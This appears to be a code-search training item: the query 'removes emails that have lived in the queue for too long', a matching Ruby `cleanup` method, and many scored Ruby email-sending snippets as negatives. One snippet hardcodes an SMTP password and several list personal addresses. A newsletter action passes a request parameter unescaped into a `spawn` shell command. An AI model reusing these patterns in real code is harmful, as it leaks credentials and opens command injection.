"def send(opts={})\n\n opts[:server] ||= self.server\n opts[:from] ||= self.from\n opts[:subject] ||= \"New Build!\"\n opts[:title] ||= \"New Build!\"\n opts[:body] ||= body(opts)\n opts[:password] ||= self.password\n opts[:account] ||= self.account\n opts[:port] ||= self.port\n opts[:to] ||= self.to\n\n msg = opts[:body]\n\n if opts[:account] and opts[:password] and opts[:port] and opts[:to]\n @progress_formatter.sending_email\n smtp = Net::SMTP.new opts[:server], opts[:port]\n smtp.enable_starttls\n smtp.start(opts[:server], opts[:account], opts[:password], :login) do\n smtp.send_message(msg, opts[:from], opts[:to])\n @progress_formatter.email_sent(opts[:to])\n end\n elsif opts[:server] and opts[:to]\n @progress_formatter.sending_email\n Net::SMTP.start(opts[:server]) do |smtp|\n smtp.send_message(msg, opts[:from], opts[:to])\n @progress_formatter.email_sent(opts[:to])\n end\n else\n @error_formatter.missing_email_details\n end\n end",
"def create\n \n txtresponse = ''\n to = params[:to]\n subject = params[:subject]\n body = params[:body]\n \n if to.to_s == ''\n\t \ttxtresponse= '\"to\" field missing'\n\t end\t\n if subject.to_s == ''\n\t \ttxtresponse= txtresponse + ' \"subject\" field missing'\n\t end\t\n\t if body.to_s == ''\n\t \ttxtresponse= txtresponse + ' \"body\" field missing'\n end\n if txtresponse == ''\n txtresponse = 'Success'\n end\n \n @sendmail = Sendmail.new(to, subject, body, txtresponse) \n\t \n\t if txtresponse == 'Success'\n UserMailer.send_email(to, subject, body ).deliver\n puts 'Mail Sent'\n respond_to do |format| \n format.json { render :show, status => 200 }\n end\n else\n puts txtresponse\n respond_to do |format| \n format.json { render :show, status: :bad_request}\n end\n end\t \n end",
"def send_email( params, silent = false )\n mail = Mail.new\n mail.from = Email.new(email: params[:from])\n mail.subject = params[:subject][0...78] if params[:subject] # SendGrid limits subject to 78 characters\n personalization = Personalization.new\n params[:to].each do |address|\n personalization.to = Email.new(:email => address)\n end\n mail.personalizations = personalization\n mail.contents = Content.new(type: 'text/plain', value: params[:body])\n if @sandbox\n mail_settings = MailSettings.new\n mail_settings.sandbox_mode = SandBoxMode.new(enable: true)\n mail.mail_settings = mail_settings\n end\n sg = SendGrid::API.new(api_key: @apikey, host: 'https://api.sendgrid.com')\n response = sg.client.mail._('send').post(request_body: mail.to_json)\n status = response.status_code.to_i\n if ( !status || status > 299 )\n if !silent \n puts \"email via SendGrid failed with status code #{status}\"\n puts \"for status code descriptions see https://sendgrid.com/docs/API_Reference/Web_API_v3/Mail/errors.html\\n\"\n puts response.body\n end\n return false\n else\n return true\n end\n end",
"def send_emails(number_of_emails)\r\n SendEmails(number_of_emails)\r\n end",
"def setup_delivery\n method = @config.delivery['method'] || :smtp\n options = @config.delivery['options'] || {}\n\n options.keys.each do |key|\n options[(key.to_sym rescue key) || key] = options.delete(key)\n end\n\n options = Idid::Configuration::SMTP_DEFAULTS.merge options if method == :smtp\n options = Idid::Configuration::EXIM_DEFAULTS.merge options if method == :exim\n\n mail_defaults_for method, options\n end",
"def mail(mail_args)\n raise \"'smtp_args' has not been given for the Hayabusa.\" if !@config[:smtp_args]\n \n @mails_queue_mutex.synchronize do\n count_wait = 0\n while @mails_waiting.length > 100\n if count_wait >= 30\n raise \"Could not send email - too many emails was pending and none of them were being sent?\"\n end\n \n count_wait += 1\n sleep 1\n end\n \n mailobj = Hayabusa::Mail.new({:hb => self, :errors => {}, :status => :waiting}.merge(mail_args))\n self.log_puts(\"Added mail '#{mailobj.__id__}' to the mail-send-queue.\") if debug\n @mails_waiting << mailobj\n \n #Try to send right away and raise error instantly if something happens if told to do so.\n if mail_args[:now] or @config[:mailing_instant]\n self.mail_flush\n raise mailobj.args[:error] if mailobj.args[:error]\n end\n \n return mailobj\n end\n end",
"def setup_admin_email(official)\n @recipients = Array.new\n @recipients << 'Jeremy Driscoll <jdriscoll@realnets.com>'\n do_not_deliver! if @recipients.empty?\n @from = AppConfig.admin_email\n @subject = \"[Q2016] \"\n @sent_on = Time.now\n @body[:official] = official\n end",
"def create_mail\n # Removes the current user from the recipients and cc\n # if he doesn't want to receive notifications about what he does\n @author ||= User.current\n if @author.pref[:no_self_notified]\n recipients.delete(@author.mail) if recipients\n cc.delete(@author.mail) if cc\n end\n \n notified_users = [recipients, cc].flatten.compact.uniq\n # Rails would log recipients only, not cc and bcc\n mylogger.info \"Sending email notification to: #{notified_users.join(', ')}\" if mylogger\n \n # Blind carbon copy recipients\n if Setting.bcc_recipients?\n bcc(notified_users)\n recipients []\n cc []\n end\n super\n end",
"def send_delay_email\n PatientMailer.appointment_delayed_email(patient,\n appointment_delayed_time).deliver_later\n end",
"def rails_create_email(action)\n rails_mailer.public_send(action, self)\n end",
"def add_batch_recipients(number_of_recipients=10)\n #dummy_email_addresses = [\"test1@sink.sendgrid.net\",\"test2@sink.sendgrid.net\",\"test3@sink.sendgrid.net\"]\n dummy_email_addresses = generate_random_email_addresses(number_of_recipients)\n email_array_batch_input = create_email_list_for_batch_recipient_add(dummy_email_addresses)\n payload = email_array_batch_input.to_json\n puts \"adding recipients to db from #{payload}\"\n url = \"#{@goseg_base_url}/recipients_batch\"\n res = RestClient.post(url,payload){|response, request, result| response }\n return res\n end",
"def send(**options)\n cnt = 0\n chkeys = [:subject, :body, :rcpt_to]\n options.keys.each do |k|\n cnt += 1 if chkeys.include?(k)\n end\n return false if cnt != chkeys.length\n \n rcpt = Array.new # send to user-mailaddress\n unless options[:rcpt_to].nil?\n rcpt.push(options[:rcpt_to])\n end\n if options[:mail_from].to_s.strip.empty?\n unless @mlname.empty?\n options[:mail_from] = \"#{@mlname} <#{@mladdr}>\"\n else\n options[:mail_from] = @mladdr\n end\n end\n\n smtpserver = @host # :p\n if smtpserver.to_s.strip.empty?\n emsg = \"unknown mail server (host is empty).\"\n raise MLMailError.new(emsg)\n end\n smtpport = @smtpport\n \n mail = RMail::Message.new\n mail.return_path = options[:return_path]\n mail.from = options[:mail_from]\n mail.to = rcpt\n mail.subject = options[:subject]\n mail.body = options[:body]\n smtpinfos = { :address => smtpserver,\n :port => smtpport,\n :enable_starttls_auto => @starttls }\n if @starttls\n smtpinfos[:authentication] = \"plain\"\n smtpinfos[:user_name] = @username\n smtpinfos[:password] = @password\n end\n mail.delivery_method(:smtp, smtpinfos)\n mail.deliver\n return true\n end",
"def send_mail(options)\n raise ConnectionNotOpenError unless @open\n \n content_type_args = options[:content_type].split('/') << { 'charset' => options[:encoding] }\n \n mail = TMail::Mail.new\n mail.set_content_type *content_type_args\n mail.to = options[:to]\n mail.from = options[:from]\n mail.subject = options[:subject]\n mail.body = options[:body]\n\n @connection.sendmail(mail.encoded, mail.from[0], mail.destinations)\n true\n rescue ConnectionNotOpenError => e\n raise e\n rescue StandardError => e\n @error = e\n @offending_mail = mail\n close_connection\n false\n end",
"def build_mass_pay_request(*args)\n post = {}\n default_options = args.last.is_a?(Hash) ? args.pop : {}\n recipients = args.first.is_a?(Array) ? args : [args]\n \n if recipients.size > 250\n raise ArgumentError, \"PayPal only supports transferring money to 250 recipients at a time\"\n end\n \n add_pair(post, :currencycode, default_options[:currency])\n add_pair(post, :emailsubject, default_options[:subject]) if default_options[:subject]\n \n recipients.each_with_index do |(money, recipient, options), index|\n options ||= default_options\n add_trans_item(post, index, :amt, amount(money))\n add_trans_item(post, index, :email, recipient)\n add_trans_item(post, index, :note, options[:note]) if options[:note]\n add_trans_item(post, index, :uniqueid, options[:unique_id]) if options[:unique_id]\n end\n post\n end",
"def send_emails\n mail = build_mail\n get_recipients do |recipient|\n unless EmailResponse.exists?(email: recipient.email) # bounces & complaints\n mail.to = recipient.email\n replace_and_send_mail_safely(mail, recipient)\n end\n end\n end",
"def send_email\n InquiryMailer.inquiry_created_email(self).deliver\n end",
"def send_email(options = {})\n options = { server: 'remotesmtp.freescale.net',\n port: 25,\n from: '',\n from_alias: '',\n subject: '',\n body: '',\n to: ''\n }.merge(options)\n\n # Force to an array\n to = options[:to].respond_to?('each') ? options[:to] : [options[:to]]\n\n # Convert any user objects to an email\n to = to.map { |obj| obj.respond_to?('email') ? obj.email : obj }\n\n to.uniq.each do |addr|\n msg = <<END_OF_MESSAGE\nFrom: #{options[:from_alias]} <#{options[:from]}>\nTo: #{addr}\nSubject: #{options[:subject]}\n\n#{options[:body]}\n\nEND_OF_MESSAGE\n\n begin\n # Exceptions raised here will be caught by rescue clause\n Net::SMTP.start(options[:server], options[:port]) do |smtp|\n smtp.send_message msg, options[:from], addr\n end\n rescue\n warn \"Email not able to be sent to address '#{addr}'\"\n end\n end\n end",
"def create_email_settings\n build_email_settings\n true\n end",
"def create_email_settings\n build_email_settings\n true\n end",
"def send_batch_unopened_notification_email(options = {})\n unopened_notification_index_map = notification_index_map(options.merge(filtered_by_status: :unopened))\n mailer_options = options.select { |k, _| [:send_later, :fallback, :batch_key].include?(k) }\n unopened_notification_index_map.map { |target, notifications|\n [target, Notification.send_batch_notification_email(target, notifications, mailer_options)]\n }.to_h\n end",
"def create_send_email(api_key = nil,\n body = nil)\n # Prepare query url.\n _query_builder = Configuration.base_uri.dup\n _query_builder << '/v2/sendEmail'\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json',\n 'content-type' => 'application/json; charset=utf-8',\n 'api_key' => api_key\n }\n\n # Prepare and execute HttpRequest.\n _request = @http_client.post(\n _query_url,\n headers: _headers,\n parameters: body.to_json\n )\n _context = execute_request(_request)\n\n # Validate response against endpoint and global error codes.\n if _context.response.status_code == 405\n raise APIException.new(\n 'Method not allowed',\n _context\n )\n end\n validate_response(_context)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_context.response.raw_body)\n SendEmailResponse.from_hash(decoded)\n end",
"def deliver!(mail)\n # check validity\n check_delivery_params(mail)\n validate!(mail)\n\n create_factory()\n\n persist_email(mail)\n\n chain_delivery(mail)\n end",
"def create_mail(subject_mail_part, email_type, account_name)\n mail = SendGrid::Mail.new\n # If we are testing don't actuallly send just have SendGrid validate it.\n if Rails.env.test?\n mail_settings = SendGrid::MailSettings.new\n mail_settings.sandbox_mode = SendGrid::SandBoxMode.new(enable: true)\n mail.mail_settings = mail_settings\n end\n mail.from = SendGrid::Email.new(email: @admin.email, name: \"#{Visitor.home_parish} Confirmation\")\n mail.subject = subject_mail_part.text\n cat_env = ''\n cat_env = 'test' if Rails.env.test?\n cat_env = 'development' if Rails.env.development?\n cat_env = 'production' if Rails.env.production?\n mail.add_category(SendGrid::Category.new(name: cat_env))\n mail.add_category(SendGrid::Category.new(name: email_type))\n mail.add_category(SendGrid::Category.new(name: account_name))\n mail.add_category(SendGrid::Category.new(name: mail.subject))\n mail\n end",
"def run\n install_signal_handlers\n\n loop do\n begin\n cleanup\n emails = find_emails\n deliver(emails) unless emails.empty?\n rescue ActiveRecord::Transactions::TransactionError\n end\n break if @once\n sleep @delay\n end\n end",
"def send(opts)\n if opts.msg_to.empty?\n @log.warn \"ll-013: Email can't be sent to '#{opts.msg_to},\" \\\n \" more: '#{opts}'\"\n else\n mail = make_email(opts)\n mail.deliver\n @log.debug \"#{__FILE__} sent '#{mail.subject}' to '#{mail.to}'.\"\n end\n end",
"def deliver\n Mailer.deliver_message(options)\n end",
"def new_message(obj)\n @obj = obj\n @admin_recipients = User.role_users(:admin).map(&:email)\n @author_recipients = User.role_users(:author).map(&:email)\n @recipients = @admin_recipients\n emails = @recipients.join(\",\")\n m = [\"pr.cr_pmcbl@hotmail.com\",\"rhcsa2012@gmail.com\",\"dilokvilas@gmail.com\",\"natthaphon.v@pmcblueline.com\",\"prajak.o@pmcblueline.com\",\"chayant.m@hotmail.com\",\"thinrachwansa@hotmail.com\",\"naruemit.k@gmail.com\"].join(\",\")\n mail to: m\n end",
"def send_mail(results)\n mail = MailFactory.request(@query_options['results_format'], results, @options['email'])\n mail.send\n end",
"def method_missing(method, *args, &block)\n if instance_methods.include?(method)\n mailer = new\n mailer.send(method, *args, &block)\n mailer\n else\n super\n end\n end",
"def deliver_email\n#puts \"**** deliver_email: emails=#{emails}\"\n emails = @contact_info.map {|c| c[:email]}.compact.uniq\n self.subject ||= 'Message from SIM Nigeria'\n id_for_reply = self.following_up || id # a follow-up message uses id of the original msg\n#puts \"**** Messages#deliver_email response_time_limit=#{response_time_limit}\"\n outgoing = Notifier.send_group_message(:recipients=>emails, :content=>self.body, \n :subject => subject, :id => id_for_reply , :response_time_limit => response_time_limit, \n :bcc => true, :following_up => following_up) # send using bcc:, not to:\nraise \"send_email with nil email produced\" if outgoing.nil?\n outgoing.deliver\n # Mark all as being sent, but only if they have an email address\n # This is terribly inefficient ... need to find a way to use a single SQL statement\n sent_messages.each do |sm| \n sm.update_attributes(:msg_status => MsgSentToGateway) if sm.member.primary_email\n end\n end",
"def initialize\n self.mailer = SendGrid::Mail.new\n smtpapi.add_category Emque::Consuming.application.config.app_name\n smtpapi.add_category Inflecto.underscore(self.class.name)\n self\n end",
"def build_product\n NewsletterMailer.build_product\n end",
"def send(template_name, email, vars, options = {}, schedule_time = nil)\n @client.send(template_name, email, vars, options, schedule_time)\n rescue Exception => e\n \"Exception while invoking send: #{e.message}\"\n end",
"def sendmail\n run_mail_tools_queue(@command) do |msg, env|\n # Send the Message\n msg.puts @qmsg.message\n msg.close\n\n env.write('F' + @qmsg.return_path + \"\\0\")\n p @qmsg.recipients\n @qmsg.recipients.each { |r| env.write('T' + r + \"\\0\") }\n env.write(\"\\0\") # End of \"file\"\n end\n\n MailTools::Result.new(@qmsg, :queue, @exit_code)\n end",
"def setup_email(user)\n recipients user.email\n from self.contact_email\n sent_on Time.now\n end",
"def too_big(txaction)\n @txaction = txaction\n @account = @txaction.account\n @user = @account.user\n\n mail :to => @user.email\n end",
"def create_mailings!\n caffeinate_campaign.to_dripper.drips.each do |drip|\n mailing = Caffeinate::Mailing.new(caffeinate_campaign_subscription: self).from_drip(drip)\n mailing.save!\n end\n caffeinate_campaign.to_dripper.run_callbacks(:on_subscribe, self)\n end",
"def send_mail_on_creation(rent)\n RentMailer.success_rent_email(rent.id).deliver_later\n end",
"def setup_mail(record, action)\n default_url_options[:host] = Spree::Config[:site_url]\n initialize_from_record(record)\n mail headers_for(action)\n end",
"def bulk_mail_params\n params.require(:bulk_mail).permit(:template_id, :delivery_timing, :subject, :body, :wrap_col, :wrap_rule)\n end",
"def generate_mail\n\t\t$stderr.puts \"Generating an announcement email.\"\n\t\tabort \"no email config in your ~/.hoerc\" unless defined?( @email_config )\n\n\t changes = self.changes\n\t subject = \"#{self.name} #{self.version} Released\"\n\t title = \"#{self.name} version #{self.version} has been released!\"\n\t body = \"#{self.description}\\n\\nChanges:\\n\\n#{self.changes}\"\n\t urls = self.urls.map do |url|\n\t\t\tcase url\n\t\t\twhen Array\n\t\t\t\t\"* <#{url[1].strip}> (#{url[0]})\"\n\t\t\twhen String\n\t\t\t\t\"* <#{url.strip}>\"\n\t\t\telse\n\t\t\t\t\"* %p\" % [ url ]\n\t\t\tend\n\t\tend\n\n\t\t$stderr.puts \" returning a new Mail::Message.\"\n\t\tmail = Mail.new\n\t\tmail.from = @email_config['from'] || \"%s <%s>\" % self.developer.first\n\t\tmail.to = @email_to.join(\", \")\n\t\tmail.subject = \"[ANN] #{subject}\"\n\t\tmail.body = [ title, urls.join($/), body ].join( $/ * 2 )\n\n\t\treturn mail\n\tend",
"def perform\n current_time = Time.now\n packages = find_packages(city_db_id)\n emails = find_emails(city_db_id)\n\n ## Create list of recipients as array of strings\n recipients = []\n emails.each do |email|\n recipients << email.email_value\n end\n\n Emailer.packages_notification(current_time,packages,recipients).deliver\n end",
"def deliver\n newsletter_id = params[:id].to_i\n email_addr = params[:email].blank? ? params[:custom_email] : params[:email]\n\n # send_log_to = Rails.env == 'production' ? (Rails.application.class)::EMAIL_TO_DEFAULT : (Rails.application.class)::EMAIL_TO_DEVELOPER\n\n command = \"RAILS_ENV=#{Rails.env} #{Rails.root}/script/bash_runner.sh newsletter_emailer NEWSLETTER=#{newsletter_id}\"\n command += \" EMAIL_ADDR_OVERRIDE=#{email_addr}\" if email_addr\n command += \" &\"\n\n Rails.logger.warn(\"Sending newsletter with command #{command}\")\n pid = spawn(command)\n\n flash[:message] = \"started job_runner to do delivery of newsletter # #{newsletter_id} w/ pid #{pid}\"\n redirect_to :action => :show, :id => newsletter_id\n end",
"def send_mail(opts)\n if EmailConfig.saleable_days_fallback_active?\n return mail(opts.merge(to: [EmailConfig.saleable_distribution_fallback_email]))\n end\n mail(opts)\n end",
"def mailing_new(name)\n return CakeMail::Mailing.create(self, name)\n end",
"def send_receive_sample order_mail\n @order = order_mail.order\n client = @order.client\n subject = \"#{t('order_mails.type.receive_sample')} #{t('activerecord.attributes.order.sn')}: #{@order.sn}\"\n mail to: to, subject: subject\n end",
"def setup_email(user)\n @recipients = user.email\n @body[:user] = user\n @from = FROM_EMAIL\n @subject = case ENV['RAILS_ENV'] \n when 'development': \"[YourApp Development] \"\n when 'staging': \"[YourApp Staging] \"\n else \"[YourApp] \"\n end\n @sent_on = Time.now\n headers \"Reply-to\" => FROM_EMAIL\n end",
"def send_mail\n Email::HookCreator::SendTransactionalMail.new(\n receiver_entity_id: @manager_id,\n receiver_entity_kind: GlobalConstant::EmailServiceApiCallHook.manager_receiver_entity_kind,\n template_name: GlobalConstant::PepoCampaigns.platform_secure_data_access_template,\n template_vars: {\n secure_data_access_token: CGI.escape(@secure_data_access_token),\n company_web_domain: CGI.escape(GlobalConstant::CompanyWeb.domain)\n }\n ).perform\n\n success\n end",
"def send_invite\n\n Email::HookCreator::SendTransactionalMail.new(\n client_id: Client::OST_KYC_CLIENT_IDENTIFIER,\n email: @invite_admin_obj.email,\n template_name: GlobalConstant::PepoCampaigns.admin_invite_template,\n template_vars: {\n inviter_name: @admin.name,\n invitee_name: @invite_admin_obj.name,\n company_name: @client.name,\n invite_token: @invite_token\n\n }\n ).perform\n\n end",
"def email_action documents\n mail = RecordMailer.email_record(documents, { to: params[:to], message: params[:message], :callnumber => params[:callnumber], :status => params[:itemStatus] }, url_options, params)\n if mail.respond_to? :deliver_now\n mail.deliver_now\n else\n mail.deliver\n end\n end",
"def quick_deliver(opts={})\n raise \"Must implement quick deliver method!\"\n end",
"def konsalt_mail params\n build_params params\n send_email t('emails.konsalta_mail.subject')\n end",
"def send_newsletter_email\n UserMailer.newsletter_confirmation(self).deliver_later\n end",
"def setup\n ActionMailer::Base.delivery_method = :test\n ActionMailer::Base.perform_deliveries = true\n ActionMailer::Base.deliveries = []\n end",
"def create\n\nMail.defaults do\n delivery_method :smtp, { :address => \"smtp.sendgrid.net\",\n :port => 587,\n :domain => \"heroku.com\",\n :user_name => \"selvakumarvr\",\n :password => \"vr14021980\",\n :authentication => 'plain',\n :enable_starttls_auto => true }\nend\n\n contact1 = Contact.new(contact_params)\n @contact = Contact.new\n\n\nMail.deliver do\n to 'selvakumarvr@gmail.com'\n from contact1.email\n subject ' Project request from '+ contact1.email\n body contact1.message\nend\n\n respond_to do |format|\n if @contact.save\n format.html { redirect_to root_path, notice: 'Contact was successfully created.' }\n format.json { render :show, status: :created, location: @contact }\n else\n format.html { render :new }\n format.json { render json: @contact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def email_action documents\n mail = RecordMailer.email_record(documents, { to: params[:to], message: params[:message], :callnumber => params[:callnumber], :status => params[:itemStatus] }, url_options, params)\n if mail.respond_to? :deliver_now\n mail.deliver_now\n else\n mail.deliver\n end\n end",
"def big_vol_mail(option_data)\n @options_data = option_data\n [\"cshonline@gmail.com\",\"lastarsenal@163.com\",\"liuyg1025@163.com\"].each do |addr|\n mail(to: addr, subject: \"BigVolOptions\").deliver\n end\n end",
"def email(options)\n puts \"sending to #{options}\"\n Pony.mail(BASE_EMAIL.merge(options))\n end",
"def deliver(emails)\n settings = [\n smtp_settings[:domain],\n (smtp_settings[:user] || smtp_settings[:user_name]),\n smtp_settings[:password],\n smtp_settings[:authentication]\n ]\n\n smtp = Net::SMTP.new(smtp_settings[:address], smtp_settings[:port])\n if smtp.respond_to?(:enable_starttls_auto)\n smtp.enable_starttls_auto unless smtp_settings[:tls] == false\n else\n settings << smtp_settings[:tls]\n end\n\n smtp.start(*settings) do |session|\n @failed_auth_count = 0\n until emails.empty? do\n email = emails.shift\n begin\n res = session.send_message email.mail, email.from, email.to\n email.destroy\n log \"sent email %011d from %s to %s: %p\" %\n [email.id, email.from, email.to, res]\n rescue Net::SMTPFatalError => e\n log \"5xx error sending email %d, removing from queue: %p(%s):\\n\\t%s\" %\n [email.id, e.message, e.class, e.backtrace.join(\"\\n\\t\")]\n email.destroy\n session.reset\n rescue Net::SMTPServerBusy => e\n log \"server too busy, stopping delivery cycle\"\n return\n rescue Net::SMTPUnknownError, Net::SMTPSyntaxError, TimeoutError, Timeout::Error => e\n email.last_send_attempt = Time.now.to_i\n email.save rescue nil\n log \"error sending email %d: %p(%s):\\n\\t%s\" %\n [email.id, e.message, e.class, e.backtrace.join(\"\\n\\t\")]\n session.reset\n end\n end\n end\n rescue Net::SMTPAuthenticationError => e\n @failed_auth_count += 1\n if @failed_auth_count >= MAX_AUTH_FAILURES then\n log \"authentication error, giving up: #{e.message}\"\n raise e\n else\n log \"authentication error, retrying: #{e.message}\"\n end\n sleep delay\n rescue Net::SMTPServerBusy, SystemCallError, OpenSSL::SSL::SSLError\n # ignore SMTPServerBusy/EPIPE/ECONNRESET from Net::SMTP.start's ensure\n end",
"def send_delayed_validation_email\n #get delayed time\n delayed_time = self.time + 1.hour + 45.minutes\n #get info for emails\n booking_name = self.booking_name\n email = self.restaurant.principle_email\n restaurant_name = self.restaurant.name\n #send delayed emails\n if delayed_time > Time.now\n ReservationValidationEmailWorker.perform_at(delayed_time, booking_name, email, restaurant_name )\n end\n end",
"def sendmail(object)\n email\n end",
"def package\n raise \"Missing from address\" if self.from.nil?\n\n begin \n @envelope = TMail::Mail.new()\n rescue => e\n begin\n require 'tmail'\n @envelope = TMail::Mail.new()\n rescue MissingSourceFile, Gem::LoadError => e\n logger.error(\"TMail Gem wasn't found. Please install if you want to send mail.\")\n end\n end\n \n # http://tmail.rubyforge.org/rdoc/index.html\n @envelope.mime_version = \"1.0\"\n @envelope.charset = self.charset\n @envelope.message_id = self.message_id\n @envelope.from = [self.from]\n @envelope.to = [self.to] if self.to\n @envelope.cc = [self.cc] if self.cc\n @envelope.bcc = [self.bcc] if self.bcc\n @envelope.date = self.date\n @envelope.subject = self.subject\n \n html = TMail::Mail.new()\n html.body = self.render_result\n html.set_content_type('text','html')\n \n @envelope.parts << html\n @envelope.set_content_type('multipart', 'mixed') # needs to be set last or throws an error\n end",
"def send_random_contacts(user, contacts_id)\n @contacts = []\n\n \tcontacts_id.each do |c|\n \t\t@contacts << Contact.find_by_id(c)\n \tend\n\n \tmail to: user.email, subject: \"NetworkMill - Awesome People to Contact This Week\"\n puts \"sent email to #{user.email}!\"\n\n Email.create(:user_id => user.id, :sent_to => user.email, :title => \"send_random_contacts\", :contacts => contacts_id.join(','))\n end",
"def email_action documents\n mail = RecordMailer.email_record(documents, { to: params[:to], message: params[:message], config: blacklight_config }, url_options)\n if mail.respond_to? :deliver_now\n mail.deliver_now\n else\n mail.deliver\n end\n end",
"def send_notifications!\n NotificationMailer.job_notification(account_manager, self).deliver_later\n end",
"def create\n\t\tsuper\n\t\tif params[\"requestPromotion\"] == 'true'\n\t\t\tuser = User.where(:email => params[\"email\"]).first\n\t\t\trequest = PromotionRequest.create!(\n\t\t\t\t:user => user\n\t\t\t)\n\n\t\t\t@recipients = Professor.where(:toBeNotified => true)\n\t\t\t@recipients.each do |recipient|\n\t\t\t\tputs \"Sending an email about new account\"\n\t\t\t\tNotifyProfessorsOfPromotionRequestMailer.with(request: request, recipient: recipient).notify_professors_of_promotion_request.deliver_now\n\t\t\tend\n\t\tend\n\tend",
"def delivery_options(address, port, domain, user_name, password,\n authentication, enable_starttls_auto)\n @mail.delivery_method :smtp, address: address,\n port: port,\n domain: domain,\n user_name: user_name,\n password: password,\n authentication: authentication,\n enable_starttls_auto: enable_starttls_auto\n end",
"def send_notification\n AdminMailer.delay.new_report(self)\n end",
"def send_mailing(options = {} )\n raise \"Options must be a hash\" unless options.is_a? Hash\n @mailing = Mailing.find_by_id(options[:id])\n mail_options = {\n subject: @mailing.subject,\n to: options[:recipient]\n }\n mail mail_options do |format|\n format.html { render inline: (@mailing.template || @mailing.render_template ) }\n end\n end",
"def hired!(options={}) \n raise \"You need to specify from, subject and body\" unless options.key?(:from) || options.key?(:body) || options.key?(:subject)\n Pony.mail({:to => 'reddavis@gmail.com'}.merge(options))\n end"
] |
[
"0.63072395",
"0.60921854",
"0.5843758",
"0.5818419",
"0.57861686",
"0.5693555",
"0.5662575",
"0.5598568",
"0.55856764",
"0.5576574",
"0.55601513",
"0.5545754",
"0.5479371",
"0.54689413",
"0.5461727",
"0.5461727",
"0.543405",
"0.5405515",
"0.5372719",
"0.53496534",
"0.5343981",
"0.5339633",
"0.5337529",
"0.53171456",
"0.52997226",
"0.52734894",
"0.52730554",
"0.5273052",
"0.5267691",
"0.52505296",
"0.524549",
"0.5245443",
"0.523914",
"0.5226396",
"0.52260745",
"0.52260363",
"0.5217567",
"0.52128834",
"0.5202922",
"0.5200868",
"0.51983464",
"0.5193821",
"0.5192476",
"0.518276",
"0.51799923",
"0.5170149",
"0.5156229",
"0.51523834",
"0.51523834",
"0.51522565",
"0.5143064",
"0.5124755",
"0.5122698",
"0.51206696",
"0.511272",
"0.5108442",
"0.51070327",
"0.5106707",
"0.5105285",
"0.50973856",
"0.5079184",
"0.5070931",
"0.5065289",
"0.50617516",
"0.5061433",
"0.50510377",
"0.504928",
"0.5046905",
"0.5042663",
"0.5039617",
"0.50386417",
"0.5034008",
"0.5033687",
"0.5033569",
"0.50174886",
"0.50032103",
"0.50004447",
"0.4997025",
"0.4993601",
"0.4989235",
"0.49823302",
"0.49768654",
"0.49737772",
"0.49735892",
"0.49735725",
"0.49607033",
"0.49593198",
"0.49584123",
"0.49569997",
"0.4956211",
"0.4954445",
"0.4944148",
"0.49414584",
"0.4939782",
"0.4935814",
"0.49331927",
"0.4928411",
"0.49272603",
"0.4927013",
"0.49268565"
] |
0.51263106
|
51
|
Removes emails that have lived in the queue for too long. If max_age is set to 0, no emails will be removed.
|
def cleanup
return if @max_age == 0
timeout = Time.now - @max_age
conditions = ['last_send_attempt > 0 and created_on < ?', timeout]
mail = ActionMailer::Base.email_class.destroy_all conditions
log "expired #{mail.length} emails from the queue"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def purge\n t = Time.now\n expired = []\n @queue.each do |identity,worker|\n expired << identity if t > worker.expiry\n end\n expired.each do |identity|\n @queue.delete identity\n end\n end",
"def check_message_age\n return unless @mode == :max_age\n\n @history_mutex.synchronize do\n @history.each do |key|\n @history[key].delete_if{|entry| Time.now - entry.time > @max_age}\n end\n end\n end",
"def expire_messages(filter = nil)\n with_queue_control do |control|\n control.expire_messages(filter)\n end\n end",
"def queued_max_age\n max_age = 0\n \n @collection.find(status: 'QUEUED').each do |item|\n age = Time.now - item[\"queue_time\"]\n if age > max_age\n max_age = age\n end\n end\n\n return max_age\n end",
"def ageoff\n messages.reject! { |m| m.expired? }\n\n claims.keys.dup.each do |id|\n claim = claims[id]\n if claim.expired? || claim.messages.empty?\n claim.messages.each { |m| m.claim = nil }\n claims.delete(id)\n end\n end\n end",
"def gc!(age)\n @timestamps.each do |job_key, timestamp|\n if timestamp < age\n delete_worker(job_key)\n end\n end \n end",
"def destroy_email\n Person.where.not(id: self.id).each do |recipient|\n Resque.enqueue(PersonDestroyed, self.full_name, recipient.id)\n end\n end",
"def kill_zombies(max_age = ZOMBIE)\n now = start = Time.now\n attempts = @options[:timeout].to_i / SLEEPWAIT\n\n # get rid of old instances\n instances = @gce_helper.list_instances(start, attempts)\n if instances\n instances.each do |instance|\n created = Time.parse(instance['creationTimestamp'])\n alive = (now - created )/60/60\n if alive >= max_age\n #kill it with fire!\n @logger.debug(\"Deleting zombie instance #{instance['name']}\")\n @gce_helper.delete_instance( instance['name'], start, attempts )\n end\n end\n else\n @logger.debug(\"No zombie instances found\")\n end\n\n # get rid of old disks\n disks = @gce_helper.list_disks(start, attempts)\n if disks\n disks.each do |disk|\n created = Time.parse(disk['creationTimestamp'])\n alive = (now - created )/60/60\n if alive >= max_age\n\n # kill it with fire!\n @logger.debug(\"Deleting zombie disk #{disk['name']}\")\n @gce_helper.delete_disk( disk['name'], start, attempts )\n end\n end\n else\n @logger.debug(\"No zombie disks found\")\n end\n\n # get rid of non-default firewalls\n firewalls = @gce_helper.list_firewalls( start, attempts)\n\n if firewalls && !firewalls.empty?\n firewalls.each do |firewall|\n @logger.debug(\"Deleting non-default firewall #{firewall['name']}\")\n @gce_helper.delete_firewall( firewall['name'], start, attempts )\n end\n else\n @logger.debug(\"No zombie firewalls found\")\n end\n end",
"def gc!(age)\n @timestamps.each do |job_key, timestamp|\n if timestamp[timestamp[:expire_type]] < age\n delete_worker(job_key)\n end\n end \n GC.start\n end",
